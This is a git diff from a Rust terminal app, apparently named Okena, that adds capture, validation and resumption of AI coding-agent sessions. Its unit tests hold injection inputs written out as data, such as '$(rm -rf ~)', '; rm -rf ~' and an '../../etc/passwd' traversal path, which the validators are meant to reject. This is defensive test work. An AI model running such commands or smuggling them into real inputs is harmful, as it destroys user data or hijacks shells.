             connection_id: None,
             service_terminals: HashMap::new(),
+            agent_sessions: HashMap::new(),
+            pending_agent_resumes: HashMap::new(),
             default_shell: None,
             hook_terminals,
             pinned: false,
diff --git a/crates/okena-app-core/src/workspace/actions/execute/terminal.rs b/crates/okena-app-core/src/workspace/actions/execute/terminal.rs
index 046ee3b07..07cfb11c7 100644
--- a/crates/okena-app-core/src/workspace/actions/execute/terminal.rs
+++ b/crates/okena-app-core/src/workspace/actions/execute/terminal.rs
@@ -116,6 +116,9 @@ pub(super) fn switch_shell(
     }
     backend.kill(&terminal_id);
     terminals.lock().remove(&terminal_id);
+    // The pane keeps its slot but the process behind it is gone, so the
+    // captured agent session no longer describes what runs here.
+    ws.forget_agent_session(&terminal_id, cx);
     ws.set_terminal_shell(&project_id, &path, shell, cx);
     ws.clear_terminal_id(&project_id, &path, cx);
     // Shell-switch respawns the pane in place; keep the project path (the old
@@ -140,6 +143,7 @@ pub(super) fn close(
             }
             backend.kill(&terminal_id);
             terminals.lock().remove(&terminal_id);
+            ws.forget_agent_session(&terminal_id, cx);
             ws.close_terminal_and_focus_sibling(focus_manager, &project_id, &path, cx);
             ActionResult::Ok(None)
         }
@@ -166,6 +170,7 @@ pub(super) fn close_many(
                 }
                 backend.kill(terminal_id);
                 terminals.lock().remove(terminal_id);
+                ws.forget_agent_session(terminal_id, cx);
                 ws.close_terminal_and_focus_sibling(focus_manager, &project_id, &path, cx);
             }
             None => {
diff --git a/crates/okena-app/src/app/extras.rs b/crates/okena-app/src/app/extras.rs
index a3ebcb704..a961d5963 100644
--- a/crates/okena-app/src/app/extras.rs
+++ b/crates/okena-app/src/app/extras.rs
@@ -247,27 +247,42 @@ impl Okena {
         let workspace = self.workspace.clone();
 
         // The project must have a layout (i.e. at least one terminal) to enter.
-        let path = match workspace
+        let terminal_id = match workspace
             .read(cx)
             .project(project_id)
             .and_then(|p| p.layout.as_ref())
         {
-            Some(layout) => layout.find_visible_terminal_path(),
+            Some(layout) => {
+                let path = layout.find_visible_terminal_path();
+                match layout.get_at_path(&path) {
+                    Some(crate::workspace::state::LayoutNode::Terminal { terminal_id, .. }) => {
+                        match terminal_id.clone() {
+                            Some(id) => id,
+                            None => return,
+                        }
+                    }
+                    _ => return,
+                }
+            }
             None => return,
         };
 
-        // Choose the target window: the first one (origin-first) where the
-        // project is currently visible.
+        // Prefer a window that isn't hiding the project; otherwise fall back to
+        // the origin window and let the reveal below zoom it into view. (This
+        // used to give up here, and to focus by path — which cannot reach a
+        // project the window is currently zoomed or filtered away from.)
         let mut order = vec![origin, WindowId::Main];
         order.extend(self.extra_window_handles.keys().copied());
-        let target = order.into_iter().find(|wid| {
-            workspace
-                .read(cx)
-                .data()
-                .window(*wid)
-                .is_some_and(|w| !w.hidden_project_ids.contains(project_id))
-        });
-        let Some(target) = target else { return };
+        let target = order
+            .into_iter()
+            .find(|wid| {
+                workspace
+                    .read(cx)
+                    .data()
+                    .window(*wid)
+                    .is_some_and(|w| !w.hidden_project_ids.contains(project_id))
+            })
+            .unwrap_or(origin);
 
         // Resolve the target window's view + OS handle.
         let (view, handle) = match target {
@@ -285,12 +300,15 @@ impl Okena {
         // project (arrow/click switches only ensure visibility).
         view.update(cx, |v, _| v.request_center_on_next_navigation());
 
-        // Point that window's FocusManager at the first visible terminal.
+        // Point that window's FocusManager at the first visible terminal, via
+        // the one revealing primitive — so a zoomed or fullscreened window
+        // retargets onto the switch target instead of silently focusing a pane
+        // it isn't rendering.
         let focus_manager = view.read(cx).focus_manager();
         let pid = project_id.to_string();
         focus_manager.update(cx, |fm, cx| {
             workspace.update(cx, |ws, cx| {
-                ws.set_focused_terminal(fm, pid, path, cx);
+                ws.focus_terminal_by_id(fm, target, &pid, &terminal_id, cx);
             });
             cx.notify();
         });
diff --git a/crates/okena-app/src/app/notifications.rs b/crates/okena-app/src/app/notifications.rs
index 5f9629f45..84f2f9604 100644
--- a/crates/okena-app/src/app/notifications.rs
+++ b/crates/okena-app/src/app/notifications.rs
@@ -357,22 +357,18 @@ impl Okena {
         let Some((view, handle)) = self.window_view_and_handle(target) else {
             return;
         };
-        let reveal = !self.project_visible_in(target, &view, project_id, cx);
-
         let workspace = self.workspace.clone();
         let focus_manager = view.read(cx).focus_manager();
         let pid = project_id.to_string();
         let tid = terminal_id.to_string();
         focus_manager.update(cx, |fm, cx| {
             workspace.update(cx, |ws, cx| {
-                if reveal {
-                    // Zoom into the project. The focus override is shown even
-                    // when the project is in the window's hidden set or behind
-                    // a folder filter, and supersedes a zoom into another
-                    // project — so the terminal below becomes reachable.
-                    ws.set_focused_project(fm, Some(pid.clone()), cx);
-                }
-                ws.focus_terminal_by_id(fm, &pid, &tid, cx);
+                // Revealing an off-screen project is `focus_terminal_by_id`'s
+                // job now. Zooming here first cancelled fullscreen (changing the
+                // focused project drops that context) before the reveal could
+                // retarget it, so a jump out of a fullscreened pane dumped the
+                // user back into the overview.
+                ws.focus_terminal_by_id(fm, target, &pid, &tid, cx);
             });
             cx.notify();
         });
@@ -402,26 +398,4 @@ impl Okena {
             },
         }
     }
-
-    /// Whether `project_id` is in `window`'s currently visible set — accounting
-    /// for the hidden set, folder filter, and that window's own zoom/focus
-    /// state (read from its `FocusManager`).
-    fn project_visible_in(
-        &self,
-        window_id: WindowId,
-        view: &Entity<WindowView>,
-        project_id: &str,
-        cx: &App,
-    ) -> bool {
-        let (focused, individual) = {
-            let fm = view.read(cx).focus_manager();
-            let fm = fm.read(cx);
-            (fm.focused_project_id().cloned(), fm.is_focus_individual())
-        };
-        self.workspace
-            .read(cx)
-            .visible_projects(window_id, focused.as_ref(), individual)
-            .iter()
-            .any(|p| p.id == project_id)
-    }
 }
diff --git a/crates/okena-app/src/views/overlays/project_switcher.rs b/crates/okena-app/src/views/overlays/project_switcher.rs
index 9436bd8e6..3e9002cff 100644
--- a/crates/okena-app/src/views/overlays/project_switcher.rs
+++ b/crates/okena-app/src/views/overlays/project_switcher.rs
@@ -600,6 +600,8 @@ mod tests {
             is_remote: false,
             connection_id: None,
             service_terminals: HashMap::new(),
+            agent_sessions: Default::default(),
+            pending_agent_resumes: Default::default(),
             default_shell: None::<ShellType>,
             hook_terminals: HashMap::<String, HookTerminalEntry>::new(),
             pinned: false,
diff --git a/crates/okena-app/src/views/overlays/settings_panel/render_terminal.rs b/crates/okena-app/src/views/overlays/settings_panel/render_terminal.rs
index b2ebf2b59..3415d81ab 100644
--- a/crates/okena-app/src/views/overlays/settings_panel/render_terminal.rs
+++ b/crates/okena-app/src/views/overlays/settings_panel/render_terminal.rs
@@ -18,6 +18,17 @@ impl SettingsPanel {
             section_container(&t)
                 .child(self.render_shell_dropdown_row(&s.default_shell, cx))
                 .child(self.render_session_backend_dropdown_row(&s.session_backend, cx))
+                // Sits next to the session backend because that is what decides
+                // whether it can ever apply: with a live backend the pane
+                // reattaches to a still-running agent and nothing is resumed.
+                .child(self.render_toggle(
+                    "auto-resume-agent-sessions",
+                    "Auto-Resume Agent Sessions",
+                    s.auto_resume_agent_sessions,
+                    true,
+                    |state, val, cx| state.set_auto_resume_agent_sessions(val, cx),
+                    cx,
+                ))
                 .child(self.render_toggle(
                     "show-shell-selector",
                     "Show Shell Selector",
diff --git a/crates/okena-app/src/views/panels/project_column.rs b/crates/okena-app/src/views/panels/project_column.rs
index 06f6c3ab4..6ec96a175 100644
--- a/crates/okena-app/src/views/panels/project_column.rs
+++ b/crates/okena-app/src/views/panels/project_column.rs
@@ -1258,6 +1258,8 @@ mod tests {
             is_remote: false,
             connection_id: None,
             service_terminals: HashMap::new(),
+            agent_sessions: HashMap::new(),
+            pending_agent_resumes: HashMap::new(),
             default_shell: None,
             hook_terminals: HashMap::new(),
             pinned: false,
diff --git a/crates/okena-app/src/views/window/mod.rs b/crates/okena-app/src/views/window/mod.rs
index 24a2f3b1a..55c41b84f 100644
--- a/crates/okena-app/src/views/window/mod.rs
+++ b/crates/okena-app/src/views/window/mod.rs
@@ -556,6 +556,7 @@ impl WindowView {
                 &workspace,
                 &focus_manager,
                 &rm,
+                &this.terminals,
                 cx,
             );
             this.sync_project_columns(cx);
@@ -713,6 +714,7 @@ impl WindowView {
         workspace: &Entity<Workspace>,
         focus_manager: &Entity<FocusManager>,
         rm: &Entity<RemoteConnectionManager>,
+        terminals: &TerminalsRegistry,
         cx: &mut Context<Self>,
     ) {
         use okena_workspace::remote_apply::RemoteSnapshot;
@@ -736,6 +738,23 @@ impl WindowView {
             });
         });
 
+        // Agent status is runtime-only, so it rides the snapshot rather than
+        // `WorkspaceData`. A client normally learns it by parsing `OSC 9001`
+        // out of the live stream, but the initial (and every reconnect)
+        // snapshot is a rendered grid with that OSC long since consumed —
+        // without this the tab indicator and the sidebar Agents list stay empty
+        // until the agent happens to report again.
+        {
+            let registry = terminals.lock();
+            for (terminal_id, status) in
+                okena_workspace::remote_apply::snapshot_agent_statuses(&snapshots)
+            {
+                if let Some(terminal) = registry.get(&terminal_id) {
+                    terminal.hydrate_agent_status(status);
+                }
+            }
+        }
+
         // Mirror the local daemon's hook execution history into the client-side
         // `HookMonitor` global so the Hook Log overlay reflects hooks that ran on
         // the daemon. Only the local daemon connection feeds this global — remote
diff --git a/crates/okena-cli/src/resolve.rs b/crates/okena-cli/src/resolve.rs
index 0164b31af..177c31da6 100644
--- a/crates/okena-cli/src/resolve.rs
+++ b/crates/okena-cli/src/resolve.rs
@@ -306,6 +306,7 @@ mod tests {
             show_in_overview: true,
             layout,
             terminal_names,
+            terminal_agent_status: std::collections::HashMap::new(),
             git_status: None,
             folder_color: FolderColor::Default,
             services: vec![],
diff --git a/crates/okena-core/src/agent_harness.rs b/crates/okena-core/src/agent_harness.rs
new file mode 100644
index 000000000..5a05b1da9
--- /dev/null
+++ b/crates/okena-core/src/agent_harness.rs
@@ -0,0 +1,243 @@
+//! Per-harness agent capabilities — *resume a session* and *parse a transcript*
+//! — keyed by agent id, kept **gpui-free** so they work in the desktop app AND
+//! in headless/remote (where resume/stats may be driven from a mobile client).
+//!
+//! The agent-status protocol is harness-agnostic: a pane reports its `agent` id
+//! (`"claude-code"`, `"codex"`, …) plus a `session_id` via `OSC 9001` (see
+//! [`crate::agent_session`]). This registry is how Okena turns that id into
+//! actions, without baking any single agent's specifics into the core or app.
+//! The implementations live in the gpui-free `okena-agent-harnesses` crate and
+//! are registered at startup via [`init`]; an unknown id simply has no entry, so
+//! its session is stored/displayed but not resumable until a harness for it
+//! exists. New harnesses are therefore purely additive.
+//!
+//! They are kept out of the `okena-ext-*` crates on purpose: those depend on
+//! `gpui`, and the standalone `okena-daemon` binary — which owns restore — is
+//! CI-gated GPUI-free, so it could not link them and every lookup here returned
+//! `None`.
+
+use std::collections::HashMap;
+use std::path::Path;
+use std::sync::{Arc, OnceLock};
+
+/// Best-effort stats parsed from a session transcript, for the session-info
+/// view. Each harness fills what its format exposes; absent fields stay `None`.
+#[derive(Clone, Debug, Default, PartialEq, Eq)]
+pub struct TranscriptStats {
+    pub user_messages: usize,
+    pub assistant_messages: usize,
+    pub tool_calls: usize,
+    pub input_tokens: Option<u64>,
+    pub output_tokens: Option<u64>,
+}
+
+/// What one agent harness (Claude Code, Codex, …) knows how to do with its own
+/// sessions. Implemented in `okena-agent-harnesses`, which must stay gpui-free
+/// so the headless daemon links it too.
+pub trait AgentHarness: Send + Sync {
+    /// Harness id; must equal the `agent` id agents report on the wire
+    /// (e.g. `"claude-code"`, `"codex"`).
+    fn id(&self) -> &str;
+
+    /// Build the argv that resumes `session_id` from working dir `cwd`, or
+    /// `None` if this harness can't / shouldn't resume. `session_id` is already
+    /// [`is_uuid_like`](crate::agent_session::is_uuid_like)-validated by the
+    /// caller.
+    ///
+    /// The argv becomes the pane's startup command, which Okena composes into a
+    /// shell line so the pane keeps a shell after the agent exits. Rather than
+    /// quote per dialect (POSIX sh, cmd, PowerShell all differ), Okena requires
+    /// every element to be a shell-neutral literal and **refuses to resume**
+    /// otherwise — see [`resume_command_line`]. Return plain flags and
+    /// validated ids; if a harness ever needs spaces or metacharacters, it
+    /// should ship its own launcher script instead.
+    fn resume_command(&self, session_id: &str, cwd: &Path) -> Option<Vec<String>>;
+
+    /// Parse a transcript file into [`TranscriptStats`], or `None` when the path
+    /// is unreadable / unsupported. Best-effort — partial stats are fine.
+    fn transcript_stats(&self, transcript_path: &Path) -> Option<TranscriptStats> {
+        let _ = transcript_path;
+        None
+    }
+}
+
+/// Registry of harnesses keyed by [`AgentHarness::id`]. Built once at startup
+/// (desktop + headless) and installed via [`init`].
+#[derive(Default)]
+pub struct AgentHarnessRegistry {
+    by_id: HashMap<String, Arc<dyn AgentHarness>>,
+}
+
+impl AgentHarnessRegistry {
+    pub fn new() -> Self {
+        Self::default()
+    }
+
+    /// Register a harness (last registration for a given id wins).
+    pub fn register(&mut self, harness: Arc<dyn AgentHarness>) {
+        self.by_id.insert(harness.id().to_string(), harness);
+    }
+
+    pub fn get(&self, agent_id: &str) -> Option<&Arc<dyn AgentHarness>> {
+        self.by_id.get(agent_id)
+    }
+}
+
+static REGISTRY: OnceLock<AgentHarnessRegistry> = OnceLock::new();
+
+/// Install the process-wide harness registry. Call once at startup; later calls
+/// are ignored (first wins), so desktop and headless each build their own
+/// before serving requests. A second call is logged rather than swallowed —
+/// silently keeping an earlier registry is the kind of thing that turns into a
+/// no-op nobody can see.
+pub fn init(registry: AgentHarnessRegistry) {
+    if REGISTRY.set(registry).is_err() {
+        log::warn!(
+            "agent-harness: registry already installed — ignoring this one (first install wins)"
+        );
+    }
+}
+
+/// Look up the harness for an agent id, if one is registered. Returns `None`
+/// before [`init`] or for an unknown id (caller treats that as "no resume/stats
+/// for this agent").
+pub fn for_agent(agent_id: &str) -> Option<&'static Arc<dyn AgentHarness>> {
+    REGISTRY.get()?.get(agent_id)
+}
+
+/// Characters allowed in a resume argv element.
+///
+/// The line is composed into whichever shell the pane launches, so an element
+/// is only accepted when it is a literal in *every* dialect Okena targets: no
+/// whitespace, quotes, or metacharacters. This is what lets the composition be
+/// a plain join with no dialect-specific quoting.
+///
+/// The composition itself lives in `okena_hooks::terminal_launch_parts` — that
+/// is the crate that knows the dialects. If a new dialect ever makes one of the
+/// bytes allowed here special, this is the function to narrow.
+fn is_shell_neutral(arg: &str) -> bool {
+    !arg.is_empty()
+        && arg
+            .bytes()
+            .all(|b| b.is_ascii_alphanumeric() || b"-_./=:@+,".contains(&b))
+}
+
+/// Build the shell line that resumes `session`, or `None` when it can't be
+/// resumed safely.
+///
+/// Returns `None` when the session is malformed, no harness is registered for
+/// its `agent` id, the harness declines, or any argv element is not
+/// [shell-neutral](is_shell_neutral). Refusing beats quoting: the caller splices
+/// this into a shell command line, and a resume that silently doesn't happen is
+/// strictly better than one that mis-parses.
+pub fn resume_command_line(
+    session: &crate::agent_session::AgentSession,
+    cwd: &Path,
+) -> Option<String> {
+    if !session.is_valid() {
+        log::warn!(
+            "agent-resume: refusing malformed session for agent {:?}",
+            session.agent
+        );
+        return None;
+    }
+    let Some(harness) = for_agent(&session.agent) else {
+        // Either no harness exists for this id, or nothing called `init` in this
+        // process. Both are silent no-ops without a log, and the second one is a
+        // wiring bug, so say so rather than returning like the branches below.
+        log::warn!(
+            "agent-resume: no harness registered for agent {:?} — not resuming",
+            session.agent
+        );
+        return None;
+    };
+    let argv = harness.resume_command(&session.session_id, cwd)?;
+    if argv.is_empty() || !argv.iter().all(|a| is_shell_neutral(a)) {
+        log::warn!(
+            "agent-resume: harness {:?} returned an argv that is not shell-neutral — not resuming",
+            session.agent
+        );
+        return None;
+    }
+    Some(argv.join(" "))
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+    use crate::agent_session::AgentSession;
+
+    const UUID: &str = "3b9c1f2a-4d5e-6f70-8a9b-0c1d2e3f4a5b";
+
+    struct StubHarness {
+        argv: Option<Vec<String>>,
+    }
+
+    impl AgentHarness for StubHarness {
+        fn id(&self) -> &str {
+            "stub"
+        }
+        fn resume_command(&self, _session_id: &str, _cwd: &Path) -> Option<Vec<String>> {
+            self.argv.clone()
+        }
+    }
+
+    fn session(agent: &str) -> AgentSession {
+        AgentSession {
+            agent: agent.to_string(),
+            session_id: UUID.to_string(),
+            transcript_path: None,
+        }
+    }
+
+    fn line(argv: Option<Vec<&str>>) -> Option<String> {
+        // Exercise the composition without touching the process-wide registry.
+        let harness = StubHarness {
+            argv: argv.map(|a| a.into_iter().map(str::to_string).collect()),
+        };
+        let s = session("stub");
+        if !s.is_valid() {
+            return None;
+        }
+        let argv = harness.resume_command(&s.session_id, Path::new("/proj"))?;
+        (!argv.is_empty() && argv.iter().all(|a| is_shell_neutral(a))).then(|| argv.join(" "))
+    }
+
+    #[test]
+    fn accepts_a_plain_resume_argv() {
+        assert_eq!(
+            line(Some(vec!["claude", "--resume", UUID])),
+            Some(format!("claude --resume {UUID}"))
+        );
+    }
+
+    #[test]
+    fn refuses_anything_a_shell_would_reinterpret() {
+        for argv in [
+            vec!["claude", "--resume", "a b"],
+            vec!["claude", "--resume", "$(id)"],
+            vec!["claude", "; rm -rf ~"],
+            vec!["claude", "--flag", "x|y"],
+            vec!["claude", ""],
+            vec![],
+        ] {
+            assert_eq!(line(Some(argv.clone())), None, "accepted {argv:?}");
+        }
+    }
+
+    #[test]
+    fn a_declining_harness_yields_no_line() {
+        assert_eq!(line(None), None);
+    }
+
+    #[test]
+    fn malformed_session_is_refused_before_the_harness_runs() {
+        let bad = AgentSession {
+            agent: "stub".to_string(),
+            session_id: "$(rm -rf ~)".to_string(),
+            transcript_path: None,
+        };
+        assert!(!bad.is_valid());
+        assert_eq!(resume_command_line(&bad, Path::new("/proj")), None);
+    }
+}
diff --git a/crates/okena-core/src/agent_session.rs b/crates/okena-core/src/agent_session.rs
new file mode 100644
index 000000000..5780989b0
--- /dev/null
+++ b/crates/okena-core/src/agent_session.rs
@@ -0,0 +1,325 @@
+//! Durable agent session identity captured from the agent-status OSC's `lbl=`.
+//!
+//! Unlike [`crate::agent_status::AgentStatus`] (ephemeral, runtime-only — it
+//! drives the indicator and is dropped on `st=clear` / restart), this is the
+//! **sticky** identity of the AI session running in a pane: its `session_id`
+//! (and transcript path). It is captured from a `session_id` label, survives
+//! `st=clear`, and is meant to be *persisted* so a pane can offer to resume its
+//! session (`claude --resume <id>`) after a restart and surface transcript
+//! stats. Kept deliberately separate from the ephemeral status so that status
+//! can stay runtime-only.
+//!
+//! The values arrive in-band from an **untrusted** byte stream (any process in
+//! the pane can emit the OSC), so [`is_uuid_like`] gates the `session_id` before
+//! it is ever stored or handed to a resume command.
+
+use serde::{Deserialize, Serialize};
+use std::path::{Component, Path};
+
+/// The agent session running (or last run) in a pane, captured from the
+/// agent-status OSC `lbl=` `agent` / `session_id` / `transcript_path` keys.
+///
+/// Deliberately harness-agnostic: the [`agent`](Self::agent) id selects which
+/// harness knows how to *resume* it and *parse* its transcript (Claude Code,
+/// Codex, …) via the harness registry. An unknown agent id is still stored and
+/// displayed — it just has no resume/stats until a harness for it is
+/// registered, so new harnesses are additive.
+#[derive(Clone, Debug, PartialEq, Eq, Serialize, Deserialize)]
+pub struct AgentSession {
+    /// Harness id that produced this session — matches the extension id
+    /// (`"claude-code"`, `"codex"`, …). Selects the per-harness resume command
+    /// and transcript parser. Free-form on the wire so a new harness needs no
+    /// core change.
+    pub agent: String,
+    /// The agent's own session id (e.g. Claude Code / Codex `session_id`).
+    /// Always [`is_uuid_like`]-validated before construction here, since it is
+    /// untrusted in-band data that may later be passed to a resume command.
+    pub session_id: String,
+    /// Absolute path to the session transcript, when the agent reported one.
+    /// Format/location is the harness's concern; here it is just an opaque path
+    /// handed to that harness's transcript parser. Drives the stats view.
+    /// Untrusted in-band data — [`is_valid_transcript_path`] gates it on capture
+    /// and again on load, so a harness never opens a traversal or an unbounded
+    /// path. Implementors should still confine it to their own session dir.
+    #[serde(default, skip_serializing_if = "Option::is_none")]
+    pub transcript_path: Option<String>,
+}
+
+/// The `lbl=` keys the agent-status OSC reserves for session identity. They are
+/// read out of the **raw** decoded label map before any display-oriented
+/// clamping, so a pane emitting a flood of other labels cannot push its own
+/// session identity out of the map (see [`AgentSession::from_labels`]).
+pub const RESERVED_LABEL_KEYS: [&str; 3] = ["agent", "session_id", "transcript_path"];
+
+/// Bounds on the two free-form session fields. `session_id` needs none — it is
+/// UUID-shaped by [`is_uuid_like`] — but `agent` and `transcript_path` are
+/// arbitrary in-band strings that get **persisted to `workspace.json`**, so
+/// without a bound one pane can rewrite the user's state file with megabytes of
+/// chosen bytes on every autosave. These reject rather than truncate: a cut
+/// harness id or path is not a usable value, and rejecting lets the load-time
+/// prune drop an already-poisoned file.
+pub const MAX_AGENT_ID_LEN: usize = 64;
+pub const MAX_TRANSCRIPT_PATH_LEN: usize = 4096;
+
+/// Whether `s` is a usable harness id — bounded and restricted to the shape an
+/// extension id has (`"claude-code"`, `"codex"`, …).
+pub fn is_valid_agent_id(s: &str) -> bool {
+    !s.is_empty()
+        && s.len() <= MAX_AGENT_ID_LEN
+        && s.bytes()
+            .all(|b| b.is_ascii_alphanumeric() || matches!(b, b'.' | b'_' | b'-'))
+}
+
+/// Whether a reported transcript path is safe to store and later hand to a
+/// harness's parser. The value is fully attacker-chosen, so require it to be
+/// bounded, absolute, and free of `..` traversal rather than trusting the
+/// harness to confine it.
+pub fn is_valid_transcript_path(s: &str) -> bool {
+    !s.is_empty()
+        && s.len() <= MAX_TRANSCRIPT_PATH_LEN
+        && Path::new(s).is_absolute()
+        && !Path::new(s)
+            .components()
+            .any(|c| matches!(c, Component::ParentDir))
+}
+
+impl AgentSession {
+    /// Extract the session identity from a decoded `lbl=` map, or `None` when
+    /// the pane didn't report one.
+    ///
+    /// Requires both `agent` (without it we don't know which harness could
+    /// resume) and a [`is_uuid_like`] `session_id`. Takes the map **before**
+    /// [`crate::agent_status::AgentStatus::new_clamped`] bounds it: that clamp
+    /// keeps only the lowest [`MAX_LABELS`](crate::agent_status::MAX_LABELS)
+    /// keys and truncates values, either of which would silently drop or
+    /// corrupt a valid session. Reading pre-clamp means this is the only place
+    /// the session fields get bounded, hence the checks here — they guard the
+    /// one part of an agent status that reaches disk.
+    pub fn from_labels(labels: &std::collections::BTreeMap<String, String>) -> Option<Self> {
+        let agent = labels.get("agent")?;
+        let session_id = labels.get("session_id")?;
+        if !is_valid_agent_id(agent) || !is_uuid_like(session_id) {
+            return None;
+        }
+        Some(Self {
+            agent: agent.clone(),
+            session_id: session_id.clone(),
+            // An unusable path is dropped, not a reason to discard the session:
+            // resume only needs `agent` + `session_id`.
+            transcript_path: labels
+                .get("transcript_path")
+                .filter(|p| is_valid_transcript_path(p))
+                .cloned(),
+        })
+    }
+
+    /// Whether `self` and `other` identify the same run of the same harness.
+    /// Used to tell a *partial update* of the current session (merge) from a
+    /// genuinely new one (replace).
+    pub fn is_same_session(&self, other: &Self) -> bool {
+        self.agent == other.agent && self.session_id == other.session_id
+    }
+
+    /// Re-validate a session that came from persisted state rather than from
+    /// the live parser. `workspace.json` is user-editable and survives across
+    /// versions, so every invariant [`from_labels`](Self::from_labels) enforces
+    /// must be re-checked before a stored id can reach a resume command — and
+    /// so that a file already poisoned by an older build gets pruned on load.
+    pub fn is_valid(&self) -> bool {
+        is_valid_agent_id(&self.agent)
+            && is_uuid_like(&self.session_id)
+            && self
+                .transcript_path
+                .as_deref()
+                .is_none_or(is_valid_transcript_path)
+    }
+}
+
+/// Conservative check that `s` is a canonical UUID (`8-4-4-4-12` lowercase- or
+/// uppercase-hex groups joined by hyphens). Guards the in-band, untrusted
+/// `session_id` before it is stored or used to build a resume command, so a
+/// hostile pane can't plant an arbitrary string there.
+pub fn is_uuid_like(s: &str) -> bool {
+    const GROUPS: [usize; 5] = [8, 4, 4, 4, 12];
+    let mut parts = s.split('-');
+    for len in GROUPS {
+        match parts.next() {
+            Some(p) if p.len() == len && p.bytes().all(|b| b.is_ascii_hexdigit()) => {}
+            _ => return false,
+        }
+    }
+    // Reject trailing junk after the final group ("…-12345-extra").
+    parts.next().is_none()
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    #[test]
+    fn accepts_canonical_uuid() {
+        assert!(is_uuid_like("3b9c1f2a-4d5e-6f70-8a9b-0c1d2e3f4a5b"));
+        assert!(is_uuid_like("3B9C1F2A-4D5E-6F70-8A9B-0C1D2E3F4A5B"));
+    }
+
+    #[test]
+    fn rejects_non_uuid() {
+        assert!(!is_uuid_like(""));
+        assert!(!is_uuid_like("not-a-uuid"));
+        assert!(!is_uuid_like("3b9c1f2a4d5e6f708a9b0c1d2e3f4a5b")); // no hyphens
+        assert!(!is_uuid_like("3b9c1f2a-4d5e-6f70-8a9b-0c1d2e3f4a5b-extra")); // trailing
+        assert!(!is_uuid_like("zzzzzzzz-4d5e-6f70-8a9b-0c1d2e3f4a5b")); // non-hex
+        assert!(!is_uuid_like("3b9c1f2a-4d5e-6f70-8a9b-0c1d2e3f4a5")); // short group
+        // Defends against an injection attempt smuggled as a session id.
+        assert!(!is_uuid_like("$(rm -rf ~)"));
+    }
+
+    const UUID: &str = "3b9c1f2a-4d5e-6f70-8a9b-0c1d2e3f4a5b";
+
+    fn labels(pairs: &[(&str, &str)]) -> std::collections::BTreeMap<String, String> {
+        pairs
+            .iter()
+            .map(|(k, v)| (k.to_string(), v.to_string()))
+            .collect()
+    }
+
+    #[test]
+    fn from_labels_requires_agent_and_valid_uuid() {
+        let s =
+            AgentSession::from_labels(&labels(&[("agent", "claude-code"), ("session_id", UUID)]))
+                .expect("session");
+        assert_eq!(s.agent, "claude-code");
+        assert_eq!(s.session_id, UUID);
+        assert_eq!(s.transcript_path, None);
+
+        assert!(AgentSession::from_labels(&labels(&[("session_id", UUID)])).is_none());
+        assert!(AgentSession::from_labels(&labels(&[("agent", "claude-code")])).is_none());
+        assert!(
+            AgentSession::from_labels(&labels(&[("agent", ""), ("session_id", UUID)])).is_none()
+        );
+        assert!(
+            AgentSession::from_labels(&labels(&[("agent", "x"), ("session_id", "nope")])).is_none()
+        );
+    }
+
+    #[test]
+    fn from_labels_survives_a_flood_of_other_labels() {
+        // The regression this guards: reserved keys used to be read from the
+        // display-clamped map, so 32 lexicographically earlier keys hid them.
+        let mut l = labels(&[("agent", "claude-code"), ("session_id", UUID)]);
+        for i in 0..200 {
+            l.insert(format!("aaa{i:04}"), "filler".to_string());
+        }
+        let s = AgentSession::from_labels(&l).expect("session survives the flood");
+        assert_eq!(s.session_id, UUID);
+    }
+
+    /// `Path::is_absolute` is platform-dependent, so build a path that is
+    /// genuinely absolute on the host running the test.
+    fn abs(tail: &str) -> String {
+        if cfg!(windows) {
+            format!("C:\\{tail}")
+        } else {
+            format!("/{tail}")
+        }
+    }
+
+    #[test]
+    fn from_labels_bounds_the_fields_that_reach_disk() {
+        // Without a bound here, one pane rewrites workspace.json with megabytes
+        // of chosen bytes on every autosave — the fields are persisted.
+        let huge = "a".repeat(MAX_AGENT_ID_LEN + 1);
+        assert!(
+            AgentSession::from_labels(&labels(&[("agent", &huge), ("session_id", UUID)])).is_none()
+        );
+        // A harness id is an extension id, not free-form text.
+        assert!(
+            AgentSession::from_labels(&labels(&[("agent", "claude code"), ("session_id", UUID)]))
+                .is_none()
+        );
+        assert!(
+            AgentSession::from_labels(&labels(&[("agent", "a/../b"), ("session_id", UUID)]))
+                .is_none()
+        );
+
+        // An unusable transcript path is dropped, but the session survives —
+        // resume needs only `agent` + `session_id`.
+        let long_path = abs(&"p".repeat(MAX_TRANSCRIPT_PATH_LEN));
+        for bad in [
+            long_path.as_str(),
+            "relative/x.jsonl",
+            &abs("a/../../etc/passwd"),
+        ] {
+            let s = AgentSession::from_labels(&labels(&[
+                ("agent", "claude-code"),
+                ("session_id", UUID),
+                ("transcript_path", bad),
+            ]))
+            .expect("session survives a bad path");
+            assert_eq!(s.transcript_path, None, "should have dropped {bad:?}");
+        }
+
+        let good = abs("home/u/.claude/projects/p/s.jsonl");
+        let s = AgentSession::from_labels(&labels(&[
+            ("agent", "claude-code"),
+            ("session_id", UUID),
+            ("transcript_path", &good),
+        ]))
+        .expect("session");
+        assert_eq!(s.transcript_path.as_deref(), Some(good.as_str()));
+    }
+
+    #[test]
+    fn is_valid_rejects_tampered_persisted_state() {
+        let good = AgentSession {
+            agent: "claude-code".to_string(),
+            session_id: UUID.to_string(),
+            transcript_path: None,
+        };
+        assert!(good.is_valid());
+        assert!(
+            !AgentSession {
+                session_id: "; rm -rf ~".to_string(),
+                ..good.clone()
+            }
+            .is_valid()
+        );
+        assert!(
+            !AgentSession {
+                agent: String::new(),
+                ..good.clone()
+            }
+            .is_valid()
+        );
+        // A file poisoned by a build that predated the bounds must be pruned on
+        // load, not carried forward.
+        assert!(
+            !AgentSession {
+                agent: "a".repeat(MAX_AGENT_ID_LEN + 1),
+                ..good.clone()
+            }
+            .is_valid()
+        );
+        assert!(
+            !AgentSession {
+                transcript_path: Some(abs(&"p".repeat(MAX_TRANSCRIPT_PATH_LEN))),
+                ..good.clone()
+            }
+            .is_valid()
+        );
+        assert!(
+            !AgentSession {
+                transcript_path: Some("relative/x.jsonl".to_string()),
+                ..good.clone()
+            }
+            .is_valid()
+        );
+        assert!(
+            AgentSession {
+                transcript_path: Some(abs("home/u/s.jsonl")),
+                ..good
+            }
+            .is_valid()
+        );
+    }
+}
diff --git a/crates/okena-core/src/agent_status.rs b/crates/okena-core/src/agent_status.rs
new file mode 100644
index 000000000..9c41dfb9e
--- /dev/null
+++ b/crates/okena-core/src/agent_status.rs
@@ -0,0 +1,394 @@
+//! Agent status — what an AI coding agent reports about itself in a pane.
+//!
+//! An agent (e.g. Claude Code) pushes its state in-band via the agent-status
